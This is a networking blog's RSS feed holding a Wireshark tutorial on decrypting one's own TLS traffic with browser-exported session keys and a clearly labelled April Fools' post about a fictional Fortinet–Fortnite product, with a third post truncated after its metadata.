<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Weberblog.net</title>
	<atom:link href="https://weberblog.net/feed/" rel="self" type="application/rss+xml" />
	<link>https://weberblog.net</link>
	<description>IT-Security, Networks, IPv6, VPN, DNSSEC, NTP</description>
	<lastBuildDate>Mon, 13 Apr 2026 11:09:15 +0000</lastBuildDate>
	<language>en-GB</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://weberblog.net/wp-content/uploads/2018/05/cropped-webernetz-logo-4-icon-2000x2000-1-32x32.png</url>
	<title>Weberblog.net</title>
	<link>https://weberblog.net</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">52315419</site>	<item>
		<title>Decrypting TLS with Wireshark</title>
		<link>https://weberblog.net/decrypting-tls-with-wireshark/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=decrypting-tls-with-wireshark</link>
					<comments>https://weberblog.net/decrypting-tls-with-wireshark/#respond</comments>
		
		<dc:creator><![CDATA[Johannes Weber]]></dc:creator>
		<pubDate>Mon, 13 Apr 2026 11:09:15 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[TLS]]></category>
		<category><![CDATA[Tutorial/Howto]]></category>
		<category><![CDATA[Wireshark]]></category>
		<category><![CDATA[Decrypted]]></category>
		<category><![CDATA[Follow HTTP Stream]]></category>
		<category><![CDATA[Follow TCP Stream]]></category>
		<category><![CDATA[Follow TLS Stream]]></category>
		<category><![CDATA[HTTPS]]></category>
		<category><![CDATA[Ultimate PCAP]]></category>
		<guid isPermaLink="false">https://weberblog.net/?p=14278</guid>

					<description><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" fetchpriority="high" srcset="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-featured-image.jpg 1920w" sizes="(max-width: 300px) 100vw, 300px" />Did you know that you can easily decrypt TLS (mostly HTTPS) traffic with Wireshark? Well, only if you have the keys. ;) This really is a game-changer if you&#8217;re stuck with troubleshooting encrypted data. Let&#8217;s do an example: The server&#8217;s private key (certificate) is no longer of interest, since all modern ciphers use (EC)DHE, in &#8230; <a href="https://weberblog.net/decrypting-tls-with-wireshark/" class="more-link">Continue reading <span class="screen-reader-text">Decrypting TLS with Wireshark</span> <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" /><p>Did you know that you can easily <strong>decrypt TLS (mostly HTTPS) traffic with Wireshark</strong>? Well, only if you have the keys. ;) This really is a game-changer if you&#8217;re stuck with troubleshooting encrypted data. Let&#8217;s do an example:</p>
<p><span id="more-14278"></span></p>
<div class="su-note"  style="border-color:#69adc8;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;"><div class="su-note-inner su-u-clearfix su-u-trim" style="background-color:#83c7e2;border-color:#ffffff;color:#333333;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;">TL;DR: You can decrypt TLS traffic with Wireshark, but only <strong>if you have the session keys</strong>! Those can be exported by browsers if you set the SSLKEYLOGFILE environment variable *before* using the browser.</div></div>
<p>The server&#8217;s private key (certificate) is no longer of interest, since all modern ciphers use (EC)DHE, in which the session keys are derived by both parties. With TLS 1.3, RSA key exchange is gone completely. All ciphers use forward secrecy.</p>
<h2>Getting the Session Keys</h2>
<p>In this example, I&#8217;m using a browser with HTTPS. Of course, you can decrypt any other TLS traffic with Wireshark, as long as you have the session keys. However, in most of my daily business scenarios, decrypting HTTPS is the most relevant.</p>
<div style="margin-bottom:24px"><a href="https://weberblog.net/packetraven_portable_fiber-kupfer-sfp_ethernet-network-taps" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2023/02/NEOXPacketRaven-Portable-Family_Banner_DE_1208x.v2023.png 2x, https://weberblog.net/wp-content/uploads/2023/02/NEOXPacketRaven-Portable-Family_Banner_DE_604x.v2023.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketRaven-Portable_Banner_DE_604x.png" /></a></div>
<p><strong>You have to set the SSLKEYLOGFILE variable, which then creates a file with the session keys.</strong> No admin privileges are needed for this step. After that, open your browser of choice and start surfing. In my example, I opened my fairly simple website at<a href="https://ip.webernetz.net" target="_blank" rel="noopener"> https://ip.webernetz.ne</a>t.</p><pre class="urvanov-syntax-highlighter-plain-tag">set SSLKEYLOGFILE=%USERPROFILE%\sslkeys.log
start firefox</pre><p>
(For some reason, various variables/fields are still named &#8220;SSL&#8221; rather than &#8220;TLS&#8221;.)</p>
<p>At the start of the browser, many different HTTPS sessions are already initiated by the browser itself. That is: The sslkeys.log is kind of crowded. Be aware that it contains any session keys since your start. Keep them to yourself!</p>
<p>In my sample, I copied only the relevant session keys for my single session. Those can be <strong>correlated by the &#8220;Random&#8221; value within the client TLS hello</strong>, field 
			<span id="urvanov-syntax-highlighter-69e487bfa9dab860120226" class="urvanov-syntax-highlighter-syntax urvanov-syntax-highlighter-syntax-inline  crayon-theme-classic crayon-theme-classic-inline urvanov-syntax-highlighter-font-monaco" style="font-size: 12px !important; line-height: 15px !important;font-size: 12px !important;"><span class="crayon-pre urvanov-syntax-highlighter-code" style="font-size: 12px !important; line-height: 15px !important;font-size: 12px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">tls.handshake.random</span></span> in Wireshark. Different lines are present in the file, such as CLIENT_HANDSHAKE_TRAFFIC_SECRET, SERVER_HANDSHAKE_TRAFFIC_SECRET, CLIENT_TRAFFIC_SECRET_0, SERVER_TRAFFIC_SECRET_0, EXPORTER_SECRET. My sample keys are:</p><pre class="urvanov-syntax-highlighter-plain-tag">CLIENT_HANDSHAKE_TRAFFIC_SECRET 24a0ba3ed6a030ec8e3dfaaf467fedf990caa19957f92d05a2a424a8a7ec0373 afd7382d4e2250b87110fea5381e69e557d4203aab16992d4b79c2b3a54bb6a4
SERVER_HANDSHAKE_TRAFFIC_SECRET 24a0ba3ed6a030ec8e3dfaaf467fedf990caa19957f92d05a2a424a8a7ec0373 7d4920ba247e0ce9eb43bd5f2bede6e015711131fc2a943e578a8ce260f38579
CLIENT_TRAFFIC_SECRET_0 24a0ba3ed6a030ec8e3dfaaf467fedf990caa19957f92d05a2a424a8a7ec0373 68b953f99d56afffb8bcdfbe8e14fa00a7da5a3df0fee6c6ed6efd20317acf9b
SERVER_TRAFFIC_SECRET_0 24a0ba3ed6a030ec8e3dfaaf467fedf990caa19957f92d05a2a424a8a7ec0373 9833238deb0bc979f8d2384da9c318297ae89b95cd88cfed1cf6dd27ba3f3873
EXPORTER_SECRET 24a0ba3ed6a030ec8e3dfaaf467fedf990caa19957f92d05a2a424a8a7ec0373 7b95217e262cb72a82241da2785d647ea4336215f9573b9a4fc657d05e91ee84</pre><p>
<h2>Decryption, Please!</h2>
<p>Now, within Wireshark, go to Edit -&gt; Preferences -&gt; Protocols -&gt; TLS and select your sslkey.log file at the &#8220;(Pre)-Master-Secret log filename&#8221;:</p>
<p><a href="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-01-Protocols-TLS-sslkeys.png"><img decoding="async" class="aligncenter size-large wp-image-14289" src="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-01-Protocols-TLS-sslkeys-1024x754.png" alt="" width="604" height="445" srcset="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-01-Protocols-TLS-sslkeys-1024x754.png 1024w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-01-Protocols-TLS-sslkeys-300x221.png 300w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-01-Protocols-TLS-sslkeys-768x566.png 768w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-01-Protocols-TLS-sslkeys-1536x1131.png 1536w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-01-Protocols-TLS-sslkeys.png 1955w" sizes="(max-width: 604px) 100vw, 604px" /></a></p>
<p>After hitting OK, <strong>Wireshark will decrypt all applicable TLS sessions directly</strong>. The following screenshot shows the original (encrypted) PCAP on the left-hand side, while the decrypted traffic on the right-hand side. While the original TLS traffic shows only &#8220;Application Data&#8221;, which is de facto random data, the decrypted part shows the actual protocol, an HTTP GET in this scenario:</p>
<p><a href="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-02-Decrypted-Traffic-scaled.png"><img decoding="async" class="aligncenter size-large wp-image-14290" src="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-02-Decrypted-Traffic-1024x609.png" alt="" width="604" height="359" srcset="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-02-Decrypted-Traffic-1024x609.png 1024w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-02-Decrypted-Traffic-300x178.png 300w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-02-Decrypted-Traffic-768x457.png 768w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-02-Decrypted-Traffic-1536x913.png 1536w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-02-Decrypted-Traffic-2048x1218.png 2048w" sizes="(max-width: 604px) 100vw, 604px" /></a></p>
<p>On the Packet Bytes section (bottom right), you can switch between the original Packet vs. the Decrypted TLS view:</p>
<p><a href="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-03-switch-between-Packet-or-Decrypted-TLS-scaled.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14291" src="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-03-switch-between-Packet-or-Decrypted-TLS-1024x609.png" alt="" width="604" height="359" srcset="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-03-switch-between-Packet-or-Decrypted-TLS-1024x609.png 1024w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-03-switch-between-Packet-or-Decrypted-TLS-300x178.png 300w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-03-switch-between-Packet-or-Decrypted-TLS-768x457.png 768w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-03-switch-between-Packet-or-Decrypted-TLS-1536x913.png 1536w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-03-switch-between-Packet-or-Decrypted-TLS-2048x1218.png 2048w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p>If you want to distribute the PCAP *with* the session keys, you can <strong>inject them into the capture file</strong>, which then turns into a *.pcapng file format: Edit -&gt; Inject TLS Secrets:</p>
<p><a href="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-04-Inject-TLS-Secrets.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14292" src="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-04-Inject-TLS-Secrets-1024x818.png" alt="" width="604" height="482" srcset="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-04-Inject-TLS-Secrets-1024x818.png 1024w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-04-Inject-TLS-Secrets-300x240.png 300w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-04-Inject-TLS-Secrets-768x613.png 768w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-04-Inject-TLS-Secrets-1536x1226.png 1536w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-04-Inject-TLS-Secrets.png 2000w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<h2>Sample in the Ultimate PCAP</h2>
<p>The sample of HTTPS traffic shown here, including the injected TLS keys, is part of the <a href="https://weberblog.net/the-ultimate-pcap/">Ultimate PCAP</a>. Please download and analyse it by yourself &#8211; the display filter to find those packets could be: 
			<span id="urvanov-syntax-highlighter-69e487bfa9dae669956641" class="urvanov-syntax-highlighter-syntax urvanov-syntax-highlighter-syntax-inline  crayon-theme-classic crayon-theme-classic-inline urvanov-syntax-highlighter-font-monaco" style="font-size: 12px !important; line-height: 15px !important;font-size: 12px !important;"><span class="crayon-pre urvanov-syntax-highlighter-code" style="font-size: 12px !important; line-height: 15px !important;font-size: 12px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">http and tcp.port eq 443</span></span>.</p>
<div style="margin-bottom:24px"><a href="https://weberblog.net/packetraven_portable_fiber-kupfer-sfp_ethernet-network-taps" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2023/02/NEOXPacketRaven-Portable-Family_Banner_DE_1208x.v2023.png 2x, https://weberblog.net/wp-content/uploads/2023/02/NEOXPacketRaven-Portable-Family_Banner_DE_604x.v2023.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketRaven-Portable_Banner_DE_604x.png" /></a></div>
<h2>Follow {HTTP|TCP|TLS} Stream</h2>
<p>Note the differences between the three &#8220;Follow &#8230;&#8221; methods. The well-known &#8220;<strong>Follow TCP Stream</strong>&#8221; will still show the encrypted data:</p>
<p><a href="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-05-Follow-TCP-Stream.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14294" src="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-05-Follow-TCP-Stream-1024x736.png" alt="" width="604" height="434" srcset="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-05-Follow-TCP-Stream-1024x736.png 1024w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-05-Follow-TCP-Stream-300x216.png 300w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-05-Follow-TCP-Stream-768x552.png 768w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-05-Follow-TCP-Stream-1536x1103.png 1536w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-05-Follow-TCP-Stream-2048x1471.png 2048w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p>while the &#8220;<strong>Follow TLS Stream</strong>&#8221; shows the <strong>DEcrypted data</strong>, but still with the HTTP Content-Encoding such as gzip. Hence: still not completely readable (though decrypted):</p>
<p><a href="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-06-Follow-TLS-Stream.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14295" src="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-06-Follow-TLS-Stream-1024x735.png" alt="" width="604" height="434" srcset="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-06-Follow-TLS-Stream-1024x735.png 1024w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-06-Follow-TLS-Stream-300x215.png 300w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-06-Follow-TLS-Stream-768x551.png 768w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-06-Follow-TLS-Stream-1536x1103.png 1536w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-06-Follow-TLS-Stream-2048x1471.png 2048w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p>Finally, the &#8220;<strong>Follow HTTP Stream</strong>&#8220;, when clicked on an HTTP packet (rather than on a mere TCP packet), brings us readable plain-text HTTP completely:</p>
<p><a href="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-07-Follow-HTTP-Stream.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14296" src="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-07-Follow-HTTP-Stream-1024x735.png" alt="" width="604" height="434" srcset="https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-07-Follow-HTTP-Stream-1024x735.png 1024w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-07-Follow-HTTP-Stream-300x215.png 300w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-07-Follow-HTTP-Stream-768x551.png 768w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-07-Follow-HTTP-Stream-1536x1103.png 1536w, https://weberblog.net/wp-content/uploads/2026/03/Decrypting-TLS-with-Wireshark-07-Follow-HTTP-Stream-2048x1471.png 2048w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p>That&#8217;s it. Happy decrypting. ;) For further reading, have a look at this &#8220;<a href="https://lekensteyn.nl/files/wireshark-ssl-tls-decryption-secrets-sharkfest18eu.pdf" target="_blank" rel="noopener">SSL/TLS decryption: uncovering secrets</a>&#8221; presentation by Peter Wu, at <a href="https://sharkfest.wireshark.org/retrospective/sfeu/sf18eu/" target="_blank" rel="noopener">SharkFest’18 EUROPE</a>, the Wireshark Developer and User Conference.</p>
<p>Soli Deo Gloria!</p>
<p><span class="text-Kvkr6N truncate-Pc_c1s textS-BC51wP">Photo by <a href="https://unsplash.com/@markusspiske?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Markus Spiske</a> on <a href="https://unsplash.com/photos/matrix-movie-still-iar-afB0QQw?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></span>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://weberblog.net/decrypting-tls-with-wireshark/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">14278</post-id>	</item>
		<item>
		<title>Introducing FortiNite: Fortinet’s Low‑Latency Power‑Up for Fortnite</title>
		<link>https://weberblog.net/introducing-fortinite-fortinets-low-latency-power-up-for-fortnite/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=introducing-fortinite-fortinets-low-latency-power-up-for-fortnite</link>
					<comments>https://weberblog.net/introducing-fortinite-fortinets-low-latency-power-up-for-fortnite/#respond</comments>
		
		<dc:creator><![CDATA[Johannes Weber]]></dc:creator>
		<pubDate>Wed, 01 Apr 2026 07:11:36 +0000</pubDate>
				<category><![CDATA[Bandwidth/Delay]]></category>
		<category><![CDATA[Fortinet]]></category>
		<category><![CDATA[Acceleration]]></category>
		<category><![CDATA[April 1st]]></category>
		<category><![CDATA[Fortnite]]></category>
		<category><![CDATA[IPv6]]></category>
		<category><![CDATA[Latency]]></category>
		<guid isPermaLink="false">https://weberblog.net/?p=14300</guid>

					<description><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2026/03/Introducing-FortiNite-Fortinets-Low‑Latency-Power‑Up-for-Fortnite-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2026/03/Introducing-FortiNite-Fortinets-Low‑Latency-Power‑Up-for-Fortnite-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2026/03/Introducing-FortiNite-Fortinets-Low‑Latency-Power‑Up-for-Fortnite-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2026/03/Introducing-FortiNite-Fortinets-Low‑Latency-Power‑Up-for-Fortnite-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2026/03/Introducing-FortiNite-Fortinets-Low‑Latency-Power‑Up-for-Fortnite-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2026/03/Introducing-FortiNite-Fortinets-Low‑Latency-Power‑Up-for-Fortnite-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" />After years of customers confusing Fortinet with Fortnite, the two companies finally decided to lean into the chaos. The result: FortiNite — a joint innovation designed to deliver “next‑gen latency acceleration” for Fortnite players worldwide, a groundbreaking collaboration with Epic Games’ Fortnite. For years, support teams across the globe have endured phrases like “I can’t &#8230; <a href="https://weberblog.net/introducing-fortinite-fortinets-low-latency-power-up-for-fortnite/" class="more-link">Continue reading <span class="screen-reader-text">Introducing FortiNite: Fortinet’s Low‑Latency Power‑Up for Fortnite</span> <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2026/03/Introducing-FortiNite-Fortinets-Low‑Latency-Power‑Up-for-Fortnite-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2026/03/Introducing-FortiNite-Fortinets-Low‑Latency-Power‑Up-for-Fortnite-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2026/03/Introducing-FortiNite-Fortinets-Low‑Latency-Power‑Up-for-Fortnite-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2026/03/Introducing-FortiNite-Fortinets-Low‑Latency-Power‑Up-for-Fortnite-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2026/03/Introducing-FortiNite-Fortinets-Low‑Latency-Power‑Up-for-Fortnite-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2026/03/Introducing-FortiNite-Fortinets-Low‑Latency-Power‑Up-for-Fortnite-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" /><p>After years of customers confusing Fortinet with Fortnite, the two companies finally decided to lean into the chaos. The result: <strong>FortiNite</strong> — a joint innovation designed to deliver <strong>“next‑gen latency acceleration” for Fortnite players</strong> worldwide, a groundbreaking collaboration with Epic Games’ Fortnite.</p>
<p><span id="more-14300"></span></p>
<p>For years, support teams across the globe have endured phrases like “I can’t reach my Fortnite firewall” or “Is the Fortinet battle pass included?” Eventually, both companies realised:</p>
<div class="su-quote su-quote-style-default"><div class="su-quote-inner su-u-clearfix su-u-trim">“If people keep mixing us up anyway… why not build something together?”</div></div>
<h2>What is FortiNite?</h2>
<p>FortiNite is marketed as a “<em>next‑generation, AI‑enhanced, cloud‑based latency reduction infrastructure accelerator</em>”.</p>
<p>In plain English: <strong>FortiNite makes Fortnite faster. Much faster.</strong></p>
<p>Leveraging Fortinet’s global Security Fabric and Epic’s galaxy of servers full of excited players, FortiNite promises:</p>
<p><strong>🚀 Sub‑millisecond latency boosts</strong><br />
<strong>🔐 Ultra‑secure, accelerated gameplay tunnels</strong><br />
<strong>🎯 Skill‑based match acceleration mode</strong><br />
<strong>⚡ Adaptive Lag Prevention (ALP™)</strong><br />
<strong>🛡️ Anti‑Tilt Protection — because lag is the #1 cause of dramatic headset slams</strong></p>
<p>Early internal benchmarks claim that FortiNite grants players “the equivalent of three additional shotgun reaction windows.”</p>
<p>Scientific? No.<br />
Convenient? Absolutely.</p>
<div style="margin-bottom:24px"><a href="https://weberblog.net/network-packet-broker-packetlion" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketLion_Banner_DE_1208x.png 2x, https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketLion_Banner_DE_604x.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketLion_Banner_DE_604x.png" /></a></div>
<h2>Now with Full IPv6 Turbo Mode</h2>
<p>One of FortiNite’s most celebrated features is its <strong>exclusive IPv6 Performance Pipeline</strong>.</p>
<p>Because while many ISPs still treat IPv6 like an optional DLC, FortiNite elevates it to its rightful place: the <strong>ultimate low‑latency gaming protocol (ULLGP)</strong>.</p>
<p>FortiNite takes advantage of:</p>
<p>✨ <strong>Direct end‑to‑end IPv6 paths</strong> with fewer NAT dragons to slay<br />
🚫 <strong>Zero NAT traversal</strong> — because NAT clearly stands for “Not Actually Tactical”<br />
📈 <strong>Reduced congestion</strong>, thanks to IPv6 lanes that nobody else uses<br />
💡 <strong>SmartFlow6™</strong> — an AI engine that automatically reroutes packets away from congested IPv4 players (also known as “the lagging mortals”)</p>
<p>Fortinet humorously noted in their launch statement:</p>
<div class="su-quote su-quote-style-default"><div class="su-quote-inner su-u-clearfix su-u-trim">“IPv4 players will still see improvements, but FortiNite truly shines on IPv6 — like switching from a shopping cart to a sports car.”</div></div>
<p>Epic Games added:</p>
<div class="su-quote su-quote-style-default"><div class="su-quote-inner su-u-clearfix su-u-trim">“We didn’t know IPv6 could be fun until now.”</div></div>
<h2>Integration with Existing Fortinet Products</h2>
<p>True to the Forti‑ecosystem approach, FortiNite integrates seamlessly:</p>
<ul>
<li><strong>FortiGate</strong>: Lights up in a “Victory Royale” pattern when latency dips below 5 ms</li>
<li><strong>FortiAnalyzer</strong>: Offers dashboards correlating your K/D ratio with packet‑loss spikes</li>
<li><strong>FortiManager</strong>: Lets admins distribute “No‑Build Mode” across entire VLANs</li>
<li><strong>FortiAP</strong>: Features a stealth SSID named <em>SweatyLobby_5Ghz</em> for peak tactical advantage</li>
</ul>
<p>These features are, of course, “in beta” — a phrase which here means “completely fictional”.</p>
<p><span class="text-Kvkr6N truncate-Pc_c1s textS-BC51wP">Photo by <a href="https://unsplash.com/@elladon?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">ELLA DON</a> on <a href="https://unsplash.com/photos/a-person-working-on-a-computer-in-a-dark-room-pjhYzDw0HWM?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></span>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://weberblog.net/introducing-fortinite-fortinets-low-latency-power-up-for-fortnite/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">14300</post-id>	</item>
		<item>
		<title>Protocol Independent Multicast (PIM) Capture</title>
		<link>https://weberblog.net/protocol-independent-multicast-pim-capture/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=protocol-independent-multicast-pim-capture</link>
					<comments>https://weberblog.net/protocol-independent-multicast-pim-capture/#respond</comments>
		
		<dc:creator><![CDATA[Johannes Weber]]></dc:creator>
		<pubDate>Wed, 18 Mar 2026 11:55:47 +0000</pubDate>
				<category><![CDATA[Routing]]></category>
		<category><![CDATA[Cisco Router]]></category>
		<category><![CDATA[ffmpeg]]></category>
		<category><![CDATA[IGMP]]></category>
		<category><![CDATA[IPv6]]></category>
		<category><![CDATA[MLD]]></category>
		<category><![CDATA[Multicast]]></category>
		<category><![CDATA[PIM]]></category>
		<category><![CDATA[ProfiShark]]></category>
		<category><![CDATA[Raspberry Pi]]></category>
		<category><![CDATA[Ultimate PCAP]]></category>
		<category><![CDATA[VLC]]></category>
		<category><![CDATA[Wireshark]]></category>
		<guid isPermaLink="false">https://weberblog.net/?p=14023</guid>

